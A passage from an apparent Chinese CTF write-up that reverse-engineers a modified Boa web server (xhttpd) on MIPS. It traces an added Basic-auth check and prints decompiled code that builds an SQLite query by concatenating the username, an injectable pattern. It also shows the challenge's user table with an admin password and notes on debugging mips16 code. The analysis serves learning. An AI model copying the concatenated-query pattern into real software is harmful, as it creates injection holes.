14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  所以比对boa源码，根据<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">fprintf(stderr, &#34;boa: server version %s\n&#34;, &#34;Boa/0.94.14rc21&#34;)</code>得知版本为0.94.14rc21；然后就是定位大概题目编译的boa程序在哪一阶段会对请求做额外处理。根据<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">boa.conf</code>，在tmp下有日志文件：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">ErrorLog /tmp/error_log<br/><span style="color: rgb(92, 99, 112);font-style: italic;"># AccessLog: The location of the access log file. If this does not</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;"># start with /, it is considered relative to the server root.</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Comment out or set to /dev/null (less effective) to disable.</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Useful to set to /dev/stdout for use with daemontools.</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Access logging.  </span><br/><span style="color: rgb(92, 99, 112);font-style: italic;"># Please <span style="color: rgb(198, 120, 221);">NOTE:</span> Sending the logs to a pipe (&#39;|&#39;), as shown below,</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;">#  is somewhat experimental and might fail under heavy load.</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;"># &#34;Usual libc implementations of printf will stall the whole</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;">#  process if the receiving end of a pipe stops reading.&#34;</span><br/><span style="color: rgb(92, 99, 112);font-style: italic;">#AccessLog  &#34;|/usr/sbin/cronolog --symlink=/var/log/boa/access_log /var/log/boa/access-%Y%m%d.log&#34;</span><br/>AccessLog /tmp/access_log</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  而源码中表示http头部和body处理应该分别在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">read_header</code>和<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">read_body</code>。可以重新开启xhttpd服务并添加debug参数，这样可以在日志中查看更具体的信息。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">if</span> (retval == <span style="color: rgb(209, 154, 102);">1</span>) {<br/>            <span style="color: rgb(198, 120, 221);">switch</span> (current-&gt;status) {<br/>            <span style="color: rgb(198, 120, 221);">case</span> READ_HEADER:<br/>            <span style="color: rgb(198, 120, 221);">case</span> ONE_CR:<br/>            <span style="color: rgb(198, 120, 221);">case</span> ONE_LF:<br/>            <span style="color: rgb(198, 120, 221);">case</span> TWO_CR:<br/>                retval = read_header(current);<br/>                <span style="color: rgb(198, 120, 221);">break</span>;<br/>            <span style="color: rgb(198, 120, 221);">case</span> BODY_READ:<br/>                retval = read_body(current);<br/>                <span style="color: rgb(198, 120, 221);">break</span>;<br/>            <span style="color: rgb(198, 120, 221);">case</span> BODY_WRITE:<br/>                retval = write_body(current);<br/>                <span style="color: rgb(198, 120, 221);">break</span>;<br/>            <span style="color: rgb(198, 120, 221);">case</span> WRITE:<br/>                retval = process_get(current);<br/>                <span style="color: rgb(198, 120, 221);">break</span>;<br/>            <span style="color: rgb(198, 120, 221);">case</span> PIPE_READ:<br/>                retval = read_from_pipe(current);<br/>                <span style="color: rgb(198, 120, 221);">break</span>;<br/>            <span style="color: rgb(198, 120, 221);">case</span> PIPE_WRITE:<br/>                retval = write_from_pipe(current);<br/>                <span style="color: rgb(198, 120, 221);">break</span>;<br/>            <span style="color: rgb(198, 120, 221);">case</span> IOSHUFFLE:<br/>            }<br/>}</code></pre><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4351851851851852" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f5614ed5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhT5Pvpibwy53RlHEpJE5Yuf0hx18OZXWnvkE5LWOeyrmhpQpibjhRrEtQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  如图在构造GET方法和POST方法后都停在了对header解析的阶段，所以<strong style="line-height: 1.75;color: rgb(255, 118, 118);">很有可能题目中添加了对header某些字段的检查</strong>；通过比对应源码中<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">read_header-&gt;process_option_line</code>解析header中的字段并且添加到request中的键值对，而在题目中对应解析函数(sub_45F8A0)中多了一个对于<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">AUTHORIZATION</code>的解析:</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span> ( <span style="color: rgb(230, 192, 123);">strcmp</span>(v11, <span style="color: rgb(152, 195, 121);">&#34;ACCEPT&#34;</span>) )<br/>{<br/>    v10 = <span style="color: rgb(230, 192, 123);">memcmp</span>(v11, <span style="color: rgb(152, 195, 121);">&#34;AUTHORIZATION&#34;</span>, <span style="color: rgb(209, 154, 102);">13</span>);<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( v10 )<br/>        <span style="color: rgb(198, 120, 221);">return</span> add_cgi_env(a1, v11, v4, <span style="color: rgb(209, 154, 102);">0</span>);<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( (<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span>)<span style="color: rgb(230, 192, 123);">strlen</span>(v4) &gt;= <span style="color: rgb(209, 154, 102);">0x101</span> || strncasecmp(v4, <span style="color: rgb(152, 195, 121);">&#34;Basic &#34;</span>, <span style="color: rgb(209, 154, 102);">6</span>) || (v12 = (_BYTE *)<span style="color: rgb(230, 192, 123);">strchr</span>(v4, <span style="color: rgb(152, 195, 121);">&#39;:&#39;</span>)) == <span style="color: rgb(209, 154, 102);">0</span> )<br/>    {<br/>        BadRequest(a1);<br/>        <span style="color: rgb(198, 120, 221);">return</span> v10;<br/>    }<br/>    *v12 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>    a1-&gt;mmap_entry_var = (<span style="color: rgb(209, 154, 102);">void</span> *)strdup(v4 + <span style="color: rgb(209, 154, 102);">6</span>);<br/>    a1-&gt;fd = strdup(v12 + <span style="color: rgb(209, 154, 102);">1</span>);<br/>}<br/><span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">1</span>;</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这里需要<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">AUTHORIZATION:Basic ?:?</code>格式的字段，当然如果没有AUTHORIZATION的话也不会直接导致400问题，所以直接原因不是这里，但至少从这里可知很可能需要用户验证；a1-&gt;mmap_entry_var和a1-&gt;fd应该就是username, token(这个结构体直接导入的源码的，在源码中没有用户验证相关成员所以肯定是修改的)。<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">process_option_line-&gt;add_cgi_env(request * req, const char *key, const char *value,int http_prefix)</code>专门用于设置CGI环境，大致原理是为每个键值对key=value调用malloc分配空间保存，而http_prefix是否为0决定是在key前面添加<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">HTTP_</code>前缀。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在解析process_option_line解析完字段后，没问题，就是访问文件或者cgi的阶段可能有限制；这在源码中<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">read_header-&gt;process_header_end</code>实现：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(92, 99, 112);font-style: italic;">/* terminate string that begins at req-&gt;header_line */</span><br/><span style="color: rgb(198, 120, 221);">if</span> (req-&gt;logline) {<br/>    <span style="color: rgb(198, 120, 221);">if</span> (process_option_line(req) == <span style="color: rgb(209, 154, 102);">0</span>) {<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/* errors already logged */</span><br/>        <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span>;<br/>    }<br/>} <span style="color: rgb(198, 120, 221);">else</span> {<br/>    <span style="color: rgb(198, 120, 221);">if</span> (process_logline(req) == <span style="color: rgb(209, 154, 102);">0</span>)<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/* errors already logged */</span><br/>        <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span>;<br/>    <span style="color: rgb(198, 120, 221);">if</span> (req-&gt;http_version == HTTP09)<br/>        <span style="color: rgb(198, 120, 221);">return</span> process_header_end(req);<br/>}<br/><span style="color: rgb(92, 99, 112);font-style: italic;">/*<br/> * Name: process_header_end<br/> *<br/> * Description: takes a request and performs some final checking before<br/> * init_cgi or init_get<br/> * Returns 0 for error or NPH, or 1 for success<br/> */</span><br/><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">process_header_end</span>(request * req)</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  源码中process_header_end会在调用init_cgi和init_get之前对uri进行解码、检查host等。而在xhttp中对应位置(sub_45F6B0)，出现了对username和token的校验：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">v10 = a1-&gt;mmap_entry_var;<br/><span style="color: rgb(198, 120, 221);">if</span> ( !v10 )<br/>    <span style="color: rgb(198, 120, 221);">goto</span> LABEL_9;<br/><span style="color: rgb(198, 120, 221);">if</span> ( !a1-&gt;fd )<br/>    <span style="color: rgb(198, 120, 221);">goto</span> LABEL_9;<br/><span style="color: rgb(230, 192, 123);">memset</span>(v17, <span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(198, 120, 221);">sizeof</span>(v17));<br/><span style="color: rgb(198, 120, 221);">if</span> ( sub_45F684((<span style="color: rgb(209, 154, 102);">int</span>)v17, (<span style="color: rgb(209, 154, 102);">int</span>)v10) )<br/>    <span style="color: rgb(198, 120, 221);">goto</span> LABEL_9;<br/>v4 = <span style="color: rgb(230, 192, 123);">strcmp</span>(v17, a1-&gt;fd);<br/><span style="color: rgb(198, 120, 221);">if</span> ( v4 )<br/>{<br/>    v4 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>    BadRequest403((<span style="color: rgb(209, 154, 102);">int</span>)a1);<br/>    <span style="color: rgb(198, 120, 221);">return</span> v4;<br/>}<br/>LABEL_9:<br/>    BadRequest(a1);<br/>    <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span>;<br/><span style="color: rgb(92, 99, 112);font-style: italic;">//sub_45F684-&gt;sub_45F4F4</span><br/><span style="color: rgb(209, 154, 102);">int</span> __fastcall <span style="color: rgb(97, 174, 238);">sub_45F4F4</span>(<span style="color: rgb(209, 154, 102);">int</span> a1, <span style="color: rgb(209, 154, 102);">int</span> a2)<br/>{<br/>  <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *v3; <span style="color: rgb(92, 99, 112);font-style: italic;">// $v0</span><br/>  <span style="color: rgb(209, 154, 102);">int</span> v4; <span style="color: rgb(92, 99, 112);font-style: italic;">// $s1</span><br/>  <span style="color: rgb(209, 154, 102);">int</span> v6; <span style="color: rgb(92, 99, 112);font-style: italic;">// $s1</span><br/>  _DWORD *v8; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+2Ch] [-41Ch] BYREF</span><br/>  <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *v9; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+30h] [-418h] BYREF</span><br/>  <span style="color: rgb(209, 154, 102);">char</span> v10[<span style="color: rgb(209, 154, 102);">1024</span>]; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+34h] [-414h] BYREF</span><br/>  v8 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v9 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( sub_45A9BC((<span style="color: rgb(209, 154, 102);">int</span>)<span style="color: rgb(152, 195, 121);">&#34;/tmp/user.db&#34;</span>, (<span style="color: rgb(209, 154, 102);">int</span> *)&amp;v8) )<br/>  {<br/>    v3 = sub_41FED4((<span style="color: rgb(209, 154, 102);">int</span>)v8);<br/>    <span style="color: rgb(230, 192, 123);">fprintf</span>(<span style="color: rgb(230, 192, 123);">stderr</span>, <span style="color: rgb(152, 195, 121);">&#34;Cannot open database: %s\n&#34;</span>, v3);<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">else</span><br/>  {<br/>    <span style="color: rgb(230, 192, 123);">strcpy</span>(v10, <span style="color: rgb(152, 195, 121);">&#34;SELECT * FROM User where Name=&#39;&#34;</span>);<br/>    <span style="color: rgb(230, 192, 123);">strcat</span>(v10, a2);<br/>    <span style="color: rgb(230, 192, 123);">strcat</span>(v10, <span style="color: rgb(152, 195, 121);">&#34;&#39;;&#34;</span>);<br/>    v4 = sub_44895C(v8, v10, (<span style="color: rgb(209, 154, 102);">int</span> (__fastcall *)(<span style="color: rgb(209, 154, 102);">int</span>, <span style="color: rgb(209, 154, 102);">int</span>, <span style="color: rgb(209, 154, 102);">int</span> *, _DWORD *))sub_45EE64, a1, &amp;v9);<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( !v4 )<br/>    {<br/>      sub_433CB8((<span style="color: rgb(209, 154, 102);">int</span>)v8);<br/>      <span style="color: rgb(198, 120, 221);">return</span> v4;<br/>    }<br/>    v6 = <span style="color: rgb(230, 192, 123);">stderr</span>;<br/>    <span style="color: rgb(230, 192, 123);">fputs</span>(<span style="color: rgb(152, 195, 121);">&#34;Failed to select data\n&#34;</span>, <span style="color: rgb(230, 192, 123);">stderr</span>);<br/>    <span style="color: rgb(230, 192, 123);">fprintf</span>(v6, <span style="color: rgb(152, 195, 121);">&#34;SQL error: %s\n&#34;</span>, v9);<br/>    sub_407498((<span style="color: rgb(209, 154, 102);">int</span>)v9);<br/>  }<br/>  v4 = <span style="color: rgb(209, 154, 102);">1</span>;<br/>  sub_433CB8((<span style="color: rgb(209, 154, 102);">int</span>)v8);<br/>  <span style="color: rgb(198, 120, 221);">return</span> v4;<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  那么显然使用数据库存储用户信息，<strong style="line-height: 1.75;color: rgb(255, 118, 118);">在这里会校验AUTHORIZATION中的用户信息，没有通过才直接导致的400/403问题</strong>。user.db文件：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">sqlite&gt; .table<br/>User<br/>sqlite&gt; .schema<br/>CREATE TABLE User(Id INT, Name TEXT, Password TEXT, Role TEXT);<br/>sqlite&gt; SELECT * FROM User;<br/>1|guest|guest|2<br/>2|admin|DmdcS14R|0</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">之后的cgi问题其实都不算难。</p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">xhttp调试</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  根据启动脚本来看，<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">/usr/bin/www/index.html</code>是可以访问的：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(97, 174, 238);">#!/bin/sh /etc/rc.common</span><br/>START=99<br/><span style="color: rgb(97, 174, 238);">start</span>() {<br/>    <span style="color: rgb(230, 192, 123);">rm</span> -rf /tmp/user.db<br/>    <span style="color: rgb(230, 192, 123);">echo</span> <span style="color: rgb(152, 195, 121);">&#39;hello&#39;</span> &gt; /usr/bin/www/index.html<br/>    /usr/bin/xhttpd &amp;<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  但是实际上却有问题，同理www下的cgi也一样不能直接访问。那么应该是websever做了一些处理，因此尝试调试对比Boa源码：<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">fprintf(stderr, &#34;boa: server version %s\n&#34;, &#34;Boa/0.94.14rc21&#34;)</code>。但是gdb 远程调试过程中本机gdb-mutiarch无法正常运行，比如查看汇编出错，无法下断点，运行后无法断下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2675925925925926" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=75e129df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhZUv4dDJPDz8o9E8OqPy8WZHvzib4arjLiciaXJ9bkibgA7y4iccZwuXSJpQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  但是在调试器cgi程序时却能正常运行，估计是程序版本太高的原因，如上图函数开头并不是直接开栈而是<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">save</code>这个指令，应该和设置canary有关。而cgi子程序中没有出现这样的函数开头。因此暂时只能直接IDA静态比对。后来发现其编译选项是<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">mips32r2和mips16</code>：其中mips32r2表示mips架构某个指令集(ISA)而mips16表示使用拓展16位压缩指令集，这个模式下cpu可以执行同一文件中的32位/16位指令（<span style="line-height: 1.75;color: rgb(87, 107, 149);">MIPS Application Specific Extensions (ASE) - Imagination</span>）(MIPS也有&#34;thumb模式&#34;我是万万没想到的<span style="text-decoration:line-through;">，太菜了</span>)</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.12222222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=59334a0d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhYlcMtGQ5JRD09l4H7UJkfg8712jtMQSt85ZsUoOc6AwqXfHltMzjMw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  由于xhttp编译的时候启用了-mips16，可以在gdb中设置architecture mips:16获得正常的汇编输出，而他的依赖库<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">libgcc_s.so.1</code>,<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">libc.so</code>都没有开启也就是正常的mips32 ISA，<strong style="line-height: 1.75;color: rgb(255, 118, 118);">所以在调试时如果遇到入库和出库情况gdb就会搞不清楚而出错</strong>！</p><h4 style="font-size: 1em;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(255, 118, 118);">编译高版本gdb/gdbserver</h4><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  尝试高版本gdb+gdbserver解决调试问题，从GNU下载的gdb源码包括gdbserver，在编译时需要注意<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">configure</code>配置：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: 